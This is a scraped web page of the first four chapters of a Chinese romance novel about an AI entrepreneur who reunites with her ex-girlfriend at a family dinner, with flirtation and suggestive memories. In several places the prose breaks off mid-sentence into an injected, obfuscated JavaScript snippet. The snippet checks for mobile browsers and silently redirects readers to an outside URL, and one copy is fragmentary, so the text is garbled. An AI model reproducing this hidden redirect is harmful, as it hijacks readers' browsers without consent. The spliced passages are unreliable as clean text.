《和病娇青梅先婚后爱了》 1. 001 《熟染青梅》 /焦糖柚茶 /晋江文学城 程晚的一生中,有两件后悔的事。 第一件是和顾茉白谈恋爱,第二件,是和顾茉白分手。 不和顾茉白谈恋爱,那么,她们现在还是朋友。 不和顾茉白分手,那么,顾茉白现在还是她的女朋友。 无论哪一种,都胜过最熟悉的陌生人。 Chapter 1 万米高空上,程晚看着舷窗外的云发呆。 在国外待了六年,她修完了两个硕士学位,在硅谷拥有了自己的公司,在人工智能领域混得风生水起,任是谁提起她的名字,都会露出一脸向往,神秘兮兮的说她是“那个很天才的中国女人”。 也有很多人认为,程晚太过强势,比她手底下那些机器人还要冷静,从来不会有失去理智的那一刻。 她不说话的时候,哪怕只是在发呆,也没有人敢打扰。 整个机舱里,静得连一根针掉下来都能听见。 黎文静坐在机舱的另一边,跟其他同事面面相觑,不停的交换着眼色,手指纷飞,在屏幕上打出一行行字。 “你是特助,当然是你去啊!” “问题是程总今天明天后天都提报的休假,公司成立到现在她哪天休过假?现在连休三天,哪个不长眼的敢去打扰她?” “再不去找她签字,等会耽误了事,不是更可怕?” 黎文静悄悄探头,看了一眼程晚。 她正低着头,看着手中的平板,脸上没什么表情,长而卷翘的睫毛低垂着,遮住了漆黑的瞳孔,愈发衬得那张脸雪白冷肃。 “不敢不敢,她好像在看什么重要的东西。” 黎文静把头缩回来,感觉桌上的文件甚是烫手。 “程总这次回国,也算是出差吧?她休完那三天假,就要去看项目了,赶紧趁没下飞机把这点事处理了,我感觉明天后天打扰她,后果会很严重。” 几个人对视一眼,觉得是这个道理。 黎文静深吸一口气,抓起桌上的平板,快步走到程晚身边,半蹲下来,小声说:“程总,打扰您休假了,这是总部刚发来的文件,说是候选项目审核下来了,麻烦您确认一下。” 程晚不动声色的把手里的平板锁了屏,接过黎文静递过来的文件,三两眼扫过一遍,说:“坐吧,给我五分钟。” 黎文静大松一口气,不知道为什么,她觉得程总现在心情格外好,是因为要回国了吗? 但是,程总每年圣诞假期都会回国,没见她心情这么好过啊? 黎文静还在揣测,程晚已经把平板递了回来,对她说:“已经确认好了,有什么问题,可以随时跟我说,我不会关机。” 黎文静连忙点头,抱着平板溜回去了。 再一看,程晚又低下了头,继续研究着手上的平板,黎文静想,可能是什么重要文件吧,看起来好认真。 正在研究“重要文件”的程晚手指一滑,平板上又显示出一条新的朋友圈。 她把照片点开,放大,对着顾茉白的那一块仔细研究。 这是一张朋友聚会的照片。 环境昏暗,背景里有几盏复古壁灯,看不出是酒吧还是剧本杀之类的地方,顾茉白和朋友挤挤挨挨的站着,对着镜头笑得格外灿烂。 比起她手机屏幕上十九岁的顾茉白,照片里的顾茉白已经褪.去了青涩,脸上的婴儿肥消失不见,下巴变得精致尖翘,变成了成熟的大人。 但那双眼睛,依旧亮得惊人,像是莹润的黑葡萄。 程晚看着那双眼睛,手指不由自主的抚上去,感到一点灼伤般的焦渴。 六年了。她每一次回国,顾茉白都会找到各种各样的理由,死活不肯见她。 而且全部都是正当理由。 期末了考研了要实习了最近身体不舒服了,每一个都相当冠冕堂皇,让人挑不出破绽,但每天晚上,程晚看她的朋友圈,都会发现她在说谎。 甚至都不会屏蔽她。 就这么堂而皇之的发自己的照片,去游乐场了去看电影了去KTV和朋友唱歌了,明摆着就是一副你能拿我怎么办的态度。 程晚确实拿她没办法。 于情,她没有立场要求“前女友”和自己见面。 于理,她家和顾家是世交,她去S市上大学,就是借住在顾家,受到了她们诸多照顾。 要是让两边家长知道,她和顾茉白谈过恋爱…… 恐怕屋顶都要掀翻了。 仗着这一点,顾茉白向来有恃无恐。 想谈就谈,想分就分,想晾着她,就六年不见她。 不过,到此为止了。 今天晚上,两家人要一起吃饭,为她接风洗尘,庆祝她正式决定回国发展。 这种场合,顾茉白不可能不出现。 程晚勾起唇角,她真的很期待,顾茉白见到她会是什么表情。 但凡顾茉白对她还有一丝感情…… 她都不可能心甘情愿,接受跟顾茉白分手。 两个小时后,飞机降落在S市东部机场。 李栋开车,程慕兰坐在副驾驶,两个人亲自来接她,程晚拉开车门,还有点诧异,但很快就恢复了正常,不咸不淡的招呼道:“妈,你们怎么来了?” 程慕兰倒是不介意她的态度,笑道:“平时公司忙,没空来就算了,今天是大日子,还是要注意的。” 程晚默然。 这两个人从她记事起就忙生意,一年到头,可能也就过年见一回,实在是不太熟。 尤其是她上大学那一阵,说是不放心她,要她住到顾家去,其实整整四年,没来看过她一次,还因为有人照顾她了,干脆过年也消失了,让她又体验了一把留守儿童的感觉。 好笑的是,她出国后,程慕兰忽然改变了事业方向,把生意做到了S市,从此在这里扎根下来,每天念叨的就是让她回国,一家人住在一起,亲亲热热的多好。 程晚全当了耳旁风。 她回国,纯粹是为了顾茉白。 每天看着她生命中最重要的人,一点一点变成她不熟悉的模样,她碰不到,更抓不住,那种感觉像是无数只蚂蚁在心上爬,又痒又焦灼,每一分每一秒都在忍受难言的折磨。 晚八点,和平饭店。 程晚下楼的时候,包间里气氛很是和谐。 程慕兰和顾明佳已经聊了一会儿了,正好说到两边的孩子,各有各的烦恼,齐齐都在叹息。 程慕兰一见她,立马就说道:“你看,刚还在说呢,我们年轻的时候工作忙,没顾得上带她,现在她跟我们不亲,家里那么大房子,也不肯回来住,硬是要在楼上开房间,说是开会方便……” 她一说起来就停不住,顾明佳看程晚脸色不好,连忙打断道:“我们家那个不也是一样?叫她来吃饭,这个点了还说在路上,不知道到底在干嘛。” 程晚笑笑,温柔的说:“没事,让小茉不用急,安全重要,我们等她。” “她今天就在人广,过来才几步路,”顾明佳摇头,“这孩子就是这样,被惯坏了,什么都要顺着她,昨天我跟她说,她还说不来不来,你们俩小时候感情那么好,现在你回国了,她来都不想来,也不知道是怎么了……” 还能是怎么了。 分手了,不想见我这个“前女友”而已。 程晚心里清楚,笑意却更温柔:“阿姨,你别急,要不,我们打个电话给她,我开车去接?” “接什么接?这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424233|200858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个点的人广,到处都是车。” 顾茉白冷着一张脸,从外面推门进来,看向程晚,忽然扬起一个明媚的笑: “你不会不知道吧?姐姐。” 尾音微微上翘,在嘲讽的语气里,勾出一点若有似无的甜腻。 那双水光潋滟的桃花眼,直勾勾的盯着程晚,盛满了狡黠。 扑通。 程晚清晰的听见,自己的心多跳了一拍。 多年前的夜晚,顾茉白闯进她的房间,将她按在墙角,仰头看着她,带着狡黠的笑,说:“姐姐,我喜欢你。” 那一声“姐姐”,和这一声“姐姐”,语调一模一样。 “吃饭了吃饭了,让他们上菜。” 见她们气氛不对,顾明佳连忙打圆场,叫来服务生,示意她可以上菜了,又问程晚: “你们喝点什么?” “小茉喝椰汁,我陪你们喝酒吧,”程晚笑得滴水不漏,“我不用开车。” “喂喂,我都成年好久了,我也喝酒,”顾茉白抗议道,“程晚,你别把我当小孩。” 程晚深深的看了她一眼,说:“好啊。” 明明是没有什么起伏,连表情都冷淡的一句话。 但顾茉白却觉得,自己仿佛被冰凉的毒蛇轻轻吻了一下,电流从神经末梢一路向来,令她脊背发麻,心跳加速。 她接过程晚递过来的杯子,下意识抿了一口。 一股辛辣的味道直冲天灵盖,刚刚那点旖旎火苗顿时熄灭。 顾茉白整张脸都皱了起来,可怜兮兮的问:“怎么是白酒啊?我不会喝白酒的……” “刚刚不是还说已经长大了吗?”程晚笑了,从她的手里把杯子拿过来,指腹掠过她的手背,“姐姐帮你喝吧。” 说罢,程晚叫来服务生,让她给顾茉白拿点果酒过来。 粉红桃子酒端上来,程晚倒了一杯,放在顾茉白面前,笑道:“小朋友还是喝点甜的吧。” 顾茉白想说话,眼看着大家已经把酒杯举了起来,只好跟着端起酒杯,一起给程晚接风洗尘,祝她今后顺顺利利,在国内一帆风顺,公司发展越来越好云云。 长辈们兴致甚高,一轮喝完还不够,一边聊程晚的公司,一边又来一轮。 几轮敬酒喝完,顾茉白已经有点晕晕乎乎了。 一堆祝酒词在她的脑子里循环播放,终于被她抓住了关键词。 程晚。回国。发展。 什么意思?! 以后程晚不走了,就留在S市了?! 顾茉白死去的记忆猛然复苏,大学时的荒唐事涌上脑海。 钢琴上,落地窗前,浴室里…… 程晚抱着她,按着她的腰,折起她的腿,吻着她的唇,在她的耳边轻喘,用清冷温柔的声音蛊惑着她,哄她,让她再乖一点,让她叫姐姐,让她自己打开……等等等等,停一下! 顾茉白一把捂住自己的脸,感觉手心都在发烫。 怎么回事,怎么全都想起来了! 还是在这种时候! 一桌子长辈正在高谈阔论,讲世界经济形势如何发展,人类未来的方向究竟在何处,当今社会最前沿的研究是哪些,这么宏大的话题面前,她居然满脑子都是黄色废料。 而黄色废料的女主角,正单手捏着酒杯,游刃有余的聊着这些严肃话题,时不时的点点头,声线清冷,脸色沉静,看起来一本正经,简直就是禁欲系的代表人物。 谁能想到,这个人能坏到那种程度,把她弄得哭都哭不出来了,还要亲亲她的耳朵,夸她是乖宝宝……停停停! 顾茉白捂着自己的脸,恨不得一头撞死在桌上。 偏偏这种时候,程晚还偏过头,认真的问:“小茉,你的脸怎么这么红?” 2. 002 Chapter 2 顾茉白顿时感觉手心更烫了。 她怔怔的看着程晚,六年不见,程晚更漂亮了。 眼前的女人穿着件休闲款的丝质衬衫,是她不认识的牌子,但光是看丝缎细腻的质地,也知道价值不菲。 她还是有一头栗色的长发,微微卷曲,如同海藻一般,散落在瘦削的肩头。 一如高二那年,她第一次看见程晚。 那张精致到无可挑剔的脸上,是带着笑意,看起来很温柔的眉眼。 顾茉白又恍神了一瞬。 糟糕。 怎么这么多年过去了,她看见程晚这张脸,还是会觉得心里痒痒? 莫非这就是传说中的生理性喜欢? 等等等等……!顾茉白忍不住拍了拍自己的脸颊,不行,一想到程晚之前的行径,她心里就警钟长鸣。 不能喜欢,尤其是不能生理性喜欢。 生理不了一点。 她还年轻,不想被艹死在各种地方。 要是真过去了,墓志铭都不知道该怎么写。 “没没没没什么!”顾茉白立即摆手,慌乱溢于言表,“可能是喝多了吧,哈哈。” “真的?”程晚若无其事的靠过来,跟她的距离陡然拉近,“那别喝了,小心一会儿头晕。” 她靠得太近,近到顾茉白都能看清她的眼睫毛。 漆黑如鸦翅,轻轻扑闪了两下,溢出一点温柔的光,衬得程晚的眼睛格外迷人。 她身上有一股好闻的冷香,钻进顾茉白的鼻尖。 顾茉白怀疑自己真的喝醉了,都开始头晕了。 “嗯……”顾茉白乖乖点头,“那我喝椰汁吧。” 程晚伸出手,去拿她手里的酒杯。 纤长手指将她的手包裹住,从指间掠过,在顾茉白还没反应过来的时候,指腹擦过了她的手指,留下一点难言的烫。 “你这个好甜。” 顾茉白眼睁睁的看着,程晚端着那只酒杯,将杯沿转过半圈,在她刚刚喝过的地方,将唇印了上去,慢悠悠的喝了一口她的酒。 “怎么还在用草莓味的唇膏?”程晚低着头,用只有她们俩能听见的声音说,“顾茉白,没想到你还挺长情。” 婉转温和的语调,但顾茉白硬生生听出了几分嘲讽。 这是在骂我吧……顾茉白心虚的想,甩你是我不对,但你也有错。 还是那种没办法跟别人解释的错。 女朋友做得太狠了想分手,哈哈。 好弱智的理由。 弱智到顾茉白决心这辈子都不让别人知道。 实在是难以启齿。 “你们两个,又在嘀嘀咕咕什么呢?”顾明佳忽然发问,指着她们两个笑,“慕兰,你不知道,以前她们住家里的时候,每天吃饭就是这样嘀嘀咕咕的,不知道是什么悄悄话,都不让我们知道。” “以前感情这么好?”程慕兰诧异道,“那现在怎么都不一起玩了?” 顾茉白正在忆往昔,猛然听见亲妈的声音,差点吓得灵魂出窍。 她悄悄瞥了一眼程晚,这个女人居然镇定自若的抬起头,一脸平静的回答:“学业太忙,妈你又不是不知道。” 顾茉白跟着点头,装得格外乖巧:“后面姐姐不是出国了嘛……” 话说到一半,顾茉白浑身一僵。 程晚这个女人真是疯了。 她她她居然在桌子底下,轻轻蹭她的腿。 正值初春,大家穿的衣服都不多,腿上更是轻薄,只有一层布料。 顾茉白今天还穿了一条裙子,觉得太阳正好,没穿长袜,现在程晚贴过来,触感格外明显。 细腻柔软的皮肤贴着她,带来温热的触感。 空气之中,程晚身上的冷香无孔不入,将她晃得心神簇摇,后半句要说什么都忘了。 更可怕的,是她的惯性依赖。 她的小腿贴着程晚,下意识的蹭了一下。 顾茉白左右脑互搏了一下,果断放弃了挣扎。 她就这么保持着跟程晚肩膀靠着肩膀,腿贴着腿的姿势,坦然把后面的话接上了:“……隔那么远,没什么机会一起玩。” 说罢,她若无其事的跟程晚分开,顺手夹了一块排骨,放进程晚的碗里,笑意盎然:“姐姐在国外没什么好吃的吧?这次回来要吃个尽兴啊。” “当然了,”程晚别有深意的看了她一眼,“这次回来,我会待很久。” 她说到这个,程慕兰和顾明佳都有兴趣。 一时间,话题又拐了回去。 顾茉白看她们又开始聊什么世界经济发展,不由得松了一口气。 说到底,她只是一个天天在家打游戏的死宅,本来就对这种场合过敏,更别说程晚还坐在她身边,没一刻消停过。 这人出国到底学了什么啊? 她记得程晚以前很保守啊。 就是那种盛名在外、又漂亮学习又好,虽然冷冰冰的不理人,但不妨碍整个学校都知道她的清冷女神学姐。 要不是她胆子大,还跟程晚住在一起,她怀疑程晚一辈子都不会谈恋爱。 而且,顾茉白高度怀疑,程晚就是因为一心学习,从来不观赏高雅文学作品,以至于太压抑了,所以一朝开窍,才会食髓知味,一个劲儿的折腾她。 唉,这种清冷高智乖乖女,玩起来最疯了。 顾茉白在心里摇头,装出一脸乖巧的笑,说自己要去外面透透气,溜出了包厢。 一到露台,顾茉白就长舒一口气。 太可怕了,怎么会有这么可怕的场合。 给前女友接风洗尘,坐在一张桌子上吃家宴。 这饭就非吃不可吗? 顾茉白扒着栏杆,看着外滩上来来往往的车辆,灯光织成一条五彩斑斓的河,感觉非常的惆怅。 其实吧,她也不是讨厌程晚,才要跟程晚分手的。 她这个人自由自在惯了,从小就是会翻墙逃课的主儿,连顾明佳都管不住她,刚开始还会教训她,后来发现她逃课只是去追猫逗狗打游戏,也就由着她去了,只说要注意安全,成绩要是下滑了,就不会再帮她请假打掩护了。 连亲妈都这么护着她,顾茉白实在是想不通自己要为难自己的理由。 她是一头栽在程晚身上了没错,她是真的特别特别喜欢程晚没错。 但她受不了程晚要管着她。 这个不许吃,那个不许碰。 跟朋友出去玩,程晚会吃醋。 程晚一吃醋,她第二天就别想起床。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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顾茉白吹着凉风,越想越觉得事有蹊跷,根本不想回去。 直至一把比凉风更清爽的声音,在她的身后响起: “顾茉白,你这口气,透得有点久啊。” 戏谑的语气,尾音里透着愉快,像是小勾子一般,掠过顾茉白的耳膜。 “要你管,”她不情不愿的转过身,程晚的脸骤然在她眼前放大,“……你靠这么近干嘛。” 她又开始头晕了,刚刚那几杯酒仿佛是某种燃料,在她的身体里蒸腾起细小的火焰。 程晚饶有兴致的看着她,伸手捧着了她的脸。 “脸好烫啊,小茉。” 她朝着顾茉白靠过来,额头抵着额头,轻易突破了安全距离。 “怎么,不想看见我?” 顾茉白眼神乱飘,呼吸重了一点,磨磨蹭蹭的说:“……你自己心里清楚。” “是吗?” 程晚笑意吟吟的看着她,冷淡嗓音染上危险的味道。 “顾茉白,那句话怎么说来着?” “什么?”顾茉白下意识问。 “吵架了分手了,过年还要一起吃饭,”程晚欣赏着她的表情,慢悠悠的说,“顾茉白,你看我们是不是这样?” 3. 003 Chapter 3 顾茉白的眼睛慢慢睁大了。 像是瞳孔骤然放大的小动物,满脸都是难以置信。 “你你你……你知道自己在说什么吗?”顾茉白磕磕巴巴的问,“程晚,我和你非亲非故,这种骨科经典台词可不兴说啊!” “非亲非故?” 程晚的笑意更深一点,顾茉白心想,完了,惹到她了。 果然,程晚下一句问道: “顾茉白,你跟我是什么关系?” 顾茉白心一横:“前女友。” “嗯,”程晚赞同道,又问,“那你叫我什么?” 顾茉白的心淡淡的死了,木然回答:“姐姐。” “那我们逢年过节,是不是要一起吃饭?”程晚笑眯眯的,指腹抚过她的脸颊,感觉手心的温度渐高,泛起一点潮湿,“我说的有错吗?” 顾茉白:“……” 没错是没错,但她觉得事情好像不是这样的。 夜风微凉,吹来草木的气息,外滩上灯火通明,不远处的江面仿佛一面漆黑的镜子。 程晚的眼睛一瞬不瞬的盯着她,灯光倒映在她的眼中,将她的眼眸映得格外亮。 顾茉白本就有点虚的心又软了一下,很小声的回答:“没错。” 她微微偏头,脸颊在程晚的掌心轻轻蹭了蹭:“你先放开我啦。” 程晚的手心,忽然被什么柔软的东西掠过,转瞬即逝,在她还没有反应过来那是什么的时候,就已经消失了。 半秒后,程晚后知后觉的意识到,那是顾茉白的唇。 顾茉白正在她的掌心中,被她捧着脸,白皙皮肤上泛着红,莹润眼珠湿漉漉的,掺着几分酒后的醉意。 “姐姐,”她的声音细细的,像在撒娇,又像在哀求,“我的头好晕。” 刹那间,程晚丢盔弃甲。 她松开顾茉白,指腹搭上她的太阳穴,轻轻揉捏着,问道:“是不是喝多了?先回去吧,我去给你叫个解酒汤。” 程晚力度适中的按摩下,顾茉白的神经松懈下来,刚刚的紧张像是流水一般,悄无声息的消失了。 怎么回事,她好像没有在恨我……顾茉白晕晕乎乎的想,视线移到程晚脸上,仔细琢磨着她的眼角眉梢,妄图从那张没什么表情的脸上看出点端倪。 但除了纯粹的担心,她什么都没有看出来。 程晚正在很认真的帮她揉太阳穴,神情专注,眼神不小心跟她撞上,立马问道:“怎么了?是不是太重了?” “没……”顾茉白眼神漂浮,“在想别的。” 程晚问:“什么?” 顾茉白闭嘴不答,干脆把眼睛也闭上了。 觉得你好漂亮这种事,我是不会告诉你的。 她的耳边响起一声很低的笑,程晚的手从太阳穴移到她的后颈,有一搭没一搭的揉捏,很难说到底是在帮她醒酒,还是别有深意。 顾茉白闭着眼,看不见她的表情,但是能感受到,程晚离她又近了一点。 那种若有似无的冷香,正在侵蚀着她的意识,唤醒她的回忆,要她想起在这样的夜风中,程晚和她究竟发生过什么。 “小茉,眼睛睁开。” 程晚的声音在她耳边响起,是无可辩驳的命令。 “好好看着我。” 顾茉白下意识睁开了眼,第一眼看见的不是被灯光映亮的夜空,而是程晚那张精致漂亮的脸。 莹润如玉的皮肤就在她的眼前,泛着白瓷般细腻的光泽,挺翘的鼻尖就在她的唇边,清冷香气和温热呼吸一起环绕着她,让她本就被酒精熏晕了的脑子雪上加霜。 靠,又在恃脸行凶。 顾茉白不由自主的放缓了呼吸,而她带着一点酒意的气息,早就和程晚的呼吸交缠在了一起。 她不知道该向前,还是该后退,只觉得那股冷香犹如诱人的禁.果,吸引着她的全部心神。 程晚的手指还按着她的后颈,另一手也搭了上来,环住她的腰,变成了一个极其暧.昧的姿势。 “醉了吗?”程晚低声问她。 “没有,”顾茉白很小声的说,“真的。” 程晚又笑了,舌尖舔舐过自己的唇,好像很有趣似的,看着她:“那还跟我这么近?” “有什么关系……”顾茉白呼吸不稳,语出惊人,“又不是没做过。” 她眨眨眼,明摆着就是故意的,又来了一句:“程晚,你想亲我啊?” 小恶魔。 程晚心里感叹一句,不再犹豫,按着她的后颈,将她拉向自己。 在顾茉白不敢置信的眼神中,她咬住了顾茉白的唇角,舌尖轻柔的划过,将那点带着桃子气息的甜意尽数吞没。 几乎是被程晚吻住的第一秒,顾茉白膝盖一软。 熟悉的气息铺天盖地,将她紧紧包裹,细小的电流从脚趾上蹿起来,一路涌过脊柱,袭击了她的大脑。 完了。 顾茉白下意识揪住了程晚的衣角,半靠在她的怀里,她觉得头晕,又觉得五光十色的电流在她的脑子里蹿,程晚很有耐心,描摹着她的唇线,迟迟没有更进一步的动作,却如同在她的身上点了一把火。 她张开唇,探出舌尖,去追逐程晚,又被程晚巧妙的避开。 程晚跟她拉开一点距离,指腹按着她的唇角,似笑非笑的问她:“顾茉白,你不是也很想被我亲吗?” 顾茉白呼吸急促,咬着嘴唇,瞪着她:“你狡猾!” 程晚扑哧一声笑了:“是吗?” 她的指腹在顾茉白的唇上轻轻揉捏,感受着比皮肤更细腻的触感,柔软湿润,蠢蠢欲动,像是随时准备咬她一口。 “几年不见,你更可爱了。” 程晚饶有兴致的盯着她,视线一寸寸描摹着她被吻得嫣红的唇,因为生气而格外有活力的眼睛,泛着红晕的脸颊,还有起伏不定、完全乱了分寸的呼吸。 “顾茉白,亲一下还不够,想接吻啊?” 顾茉白一直很喜欢程晚叫她的名字,她觉得程晚在叫自己名字的时候,总是音律匀停,格外好听。 但在某些时候,程晚叫她的名字,她只有一个想法。 顾茉白猛然偏头,一口咬在她的手上:“滚。” “痛,”程晚满不在乎的说,顺势将手指塞进她的嘴里,搅弄过她的舌尖,不咸不淡的警告,“别咬,我怕你后悔。” 顾茉白不知道想到了什么,又喘了一声,狠狠瞪了她一眼,像脾气很大、又没什么攻击性的小狗。 程晚把手抽出来,毫无顾忌的舔过自己的指尖:“走了,别在这吹冷风。” 她还揽着顾茉白的腰,把不情不愿的人往门口带。 顾茉白磨磨蹭蹭的挪着步子,更不想回去了。 她站在包间门口,说:“我想回去睡觉。” “真不想回去,还是不想让妈妈知道,你刚刚在露台上跟我干什么?”程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没事,我先送你回去,等会再过来,”程晚把车门关上,示意司机开车,“我能聊的都说得差不多了,他们现在正聊到兴头上,我去不去都无所谓。” 宾利驶出外滩,融入川流不息的车灯中,车速渐渐快了起来,将炫目的繁华甩在了身后。 顾茉白盯着车窗外飞快倒退的风景,脑子里转过无数个念头。 程晚非要送她回家,是想做什么? 她有什么话要说吗?是想问为什么要分手,还是想跟她复合? 但是很奇怪的,上车十多分钟,路都开了一半了,程晚始终没有说话。 顾茉白忍不住了,悄悄转头,才发现程晚已经靠着车窗睡着了。 秾丽夜色下,程晚的脸有大半隐在阴影里,随着外面的灯光明明灭灭。 直至这个时候,顾茉白才发现,她比以前更瘦了。 皮肤白到近乎没有血色,由于过于瘦削,下颌线显出一点锋利的意味。 修长的脖颈下,系到最顶端的衬衫纽扣开了两颗,不知道是不是在跟她纠缠的时候扯掉的,但在微微敞开的衬衫领口中,纤细锁骨犹如翩跹蝶翼,向着两边收束,有种一碰就会碎的脆弱。 顾茉白模模糊糊的想,她看起来好轻好轻,像是困伏的蝴蝶,落在了她的身边。 无尽的孤独和疲惫,正在从程晚的身上蔓延出来,盈满了整个车厢。 像是一阵潮水,无声无息的漫上来,将顾茉白淹没其中。 但她没有意识到,在她的身上究竟发生了什么。 她只是觉得,她好想好想,把程晚的手牵住,问她,姐姐,你是不是很累? 4. 004 Chapter 4 程晚醒来的时候,四周只有安静的呼吸。 车窗外是一片漆黑,不远处的草丛中,亮着一粒豆大的灯,散发出暖黄的光泽。 在车里睡觉并不舒服,她脖颈僵硬,有种发麻的痛。 程晚微微皱眉,下意识的抬手揉了揉,大脑像蒙了一层雾气,还没有彻底清醒过来,但她的鼻尖,已经嗅到了一点若有似无的奶香,令她的神经突触慢慢苏醒过来,涌现出无数深埋在心底的记忆。 “醒了?” 她一动,顾茉白就发现了,麻溜的把手机往包里一扔,从旁边的座位蹭过来,将手搭在她的肩膀上,毫无章法的帮她按着,手指不断的跟她的手指打在一起,不知道是来帮忙的,还是来添乱的。 程晚瞥了她一眼,干脆把手放下了,任由顾茉白在她的肩膀上乱捏,时不时的摸到后颈上去,留下一点温热触感。 “嗯,”程晚应了一声,“不好意思,说是来送你的,结果自己睡着了。” 或许是刚醒,程晚的声音有点哑。 顾茉白的心抽了一下,忽然觉得有点心疼。 “没事……”顾茉白说,“你什么时候回来的?昨天没睡好吗?” 她手上力道更重一点,看起来很想帮程晚把肩颈按好,可惜顾茉白从来没干过这事,始终不得其法,乱捏了几下后,被程晚抓住了手腕。 “疼,”程晚的声音很低,呼吸落在她的手背上,“我刚回来,中午的飞机,落地没多久就来吃饭了。” 顾茉白被她抓着手,感觉程晚的指腹有一搭没一搭的滑过她的手背,有点痒痒的,她想把手抽回来,但又觉得此刻的程晚看起来很脆弱。 她不想在这种时候,做拒绝意味这么强的动作。 她怕程晚伤心。 “怎么那么急,也不让你休息休息,”顾茉白嘟囔道,“时差还没倒过来吧。” 程晚笑笑,说:“他们说接风洗尘,当然是要回来就办,拖久了不像样子。” “他们说你就去啊!”顾茉白急道,“太坏了,一点都不心疼你。” 程晚垂下眼睫,手指勾住顾茉白的手指,跟她的手指纠缠在一起,又在顾茉白察觉到之前,悄无声息的松开。 她说:“你心疼我就好了呀。” 尾音轻飘飘,像是累极了,又像是旅人看见了绿洲,感叹自己的幸运。 顾茉白的心软成了一片,什么原则都忘到了脑后:“你别回去了吧,先上去睡会,等下我给程阿姨打电话。” 程晚看向她:“方便吗?” 顾茉白猝不及防的撞进她的视线里,心都多跳了一拍,愣愣的回答:“方便啊,你的房间都给你留着呢。” 程晚悬了一路的心,终于慢悠悠的落了下来。 她眉眼一弯,唇角漾起笑意:“好啊,那我就打扰了。” 顾茉白看着她拉开车门,下车后又微微弯腰,对她做个邀请的手势,总觉得自己被做局了。 她将手搭在程晚手心,从车上跳下来,嘀咕了一句:“你不会是故意的吧?” 程晚答非所问:“司机呢?怎么就你一个人。” 顾茉白迅速被转移了注意力:“我让他先去休息了,车钥匙在我这。” 她从包包里摸出车钥匙,对着车一按,看见车灯闪了两下,才朝程晚一笑,把车钥匙塞进她手心:“还你。” 程晚没接,问她:“想要吗?送给你。” 顾茉白被她吓了一跳,深觉这人真是在国外把脑子学坏了。 “不要不要,这么贵的车怎么能说送就送,”顾茉白连连摆手,“程晚,你现在太吓人了。” “哪有,”程晚从善如流,把车钥匙接过来,“那你想要什么?下次一起去买。” 顾茉白狐疑的盯着她,程晚脸色如常,怎么看都不像在逗她。 “电脑?”她试探着问,“最顶配的那种。” 程晚点头:“可以啊。” 顾茉白:“……” 看来是真疯了。 顾茉白家是栋小别墅,有自己的独立车位,从车库里可以坐电梯上楼。 她带着程晚,都没从客厅过,直接上了二楼,熟门熟路的摸到走廊最里面的客房,把门一拉开,对程晚说:“你先休息吧,要不要毛巾?等会我让阿姨拿给你。” 程晚看着这间熟悉的客房,心中五味杂陈。 她就是在这个房间里,度过了她的大学时代,也是在这个房间里,刚放学的顾茉白哗啦一声拉开门,毫无顾忌的闯进了她的世界里。 像是一抹绚烂的阳光,照亮了她的一切。 但现在嘛…… 她的小太阳正伸着脖子,视线在卧室里遛了一圈,自言自语了一句:“好像没什么缺的,那我先走了啊。” 然后果断转身,慌不择路的跑了。 程晚一时失笑,在飞机上阴霾了一路的心情,竟然莫名其妙的放晴了。 顾茉白的房间在三楼。 她从程晚的客房出来之后,连电梯都没坐,直接顺着楼梯爬上来,唯恐跟程晚在走廊里撞上。 进了自己的卧室,顾茉白一把将门关上,靠在门板上大喘气。 真是夭寿了,她到底是怎么想的,怎么就鬼使神差的问程晚要不要上来了?!这不是给自己找麻烦吗? 房间里没开灯,只有薄纱窗帘外,透过隐隐的月色,在桦木地板上,洒下一片清润的光泽。 顾茉白躲在黑暗里,感觉自己的心跳得极快,比过去任何一次看见程晚时都要跳得更快。 她的眼前不断浮现出程晚在车里睡觉的样子。 清冷似月的皮肤,笼罩着淡淡疲倦的眉眼,真丝衬衫敞开的领口,细伶伶的锁骨。 程晚单薄的影子,像是一个标记,留在了她的视网膜上,久久未能散去。 顾茉白捂住脸,感觉甚是无助。 更无助的是,她现在还要给程慕兰打电话,解释程晚今天要在她家住这件事。 哈哈,真是美色误国。 顾茉白义愤填膺的开了一把游戏,一边端着枪咔咔狙人,一边给程慕兰打电话,把嗓音捏得甜甜的,叫道:“程阿姨~跟你说件事。” 包间里正是热闹的时候,程慕兰开了外放,笑眯眯的说:“是小茉啊?什么事情特意给阿姨打电话?” 顾茉白说:“我们已经到家啦,您跟我妈妈说一声,叫她不要担心。” 顾明佳就在旁边听,应了一声:“知道了,怎么不直接给我打?” “这个嘛……”顾茉白支支吾吾半饷,干脆心一横,毫无预兆的转折道,“阿姨,姐姐今天能在我们家住吗?” 程慕兰“啊”了一声,心里有些不是滋味。 她和李栋特意去接程晚,谁知道女儿完全不给他们面子,说是自己住酒店就行,不用回家麻烦他们,他们虽然觉得不舒服,但孩子刚回国,不好逼得太紧,也就由着她去了。 谁知道,现在竟然跑到顾家去住了。 不就是大学住了几年,感情这么好?连爸妈都不要了。 “好不好嘛?”顾茉白见那边没有声音,嗓音又甜了三个度,直接开始撒娇,“姐姐时差还没调过来,刚刚又喝了酒,累得都在车上睡着了,我怎么好意思让她送了我又回去,就让她先上楼休息一下……” 她说着说着,音调低下去,听上去很愧疚:“我以前就总是麻烦姐姐……” 顾茉白本来就声音甜软,是完完全全的少女音,撒娇的时候更是软糯,很少有人抵抗得住,程慕兰也不例外。 不知道怎么回事,被顾茉白这么一说,程慕兰的心里还生出了几分对女儿的愧疚。 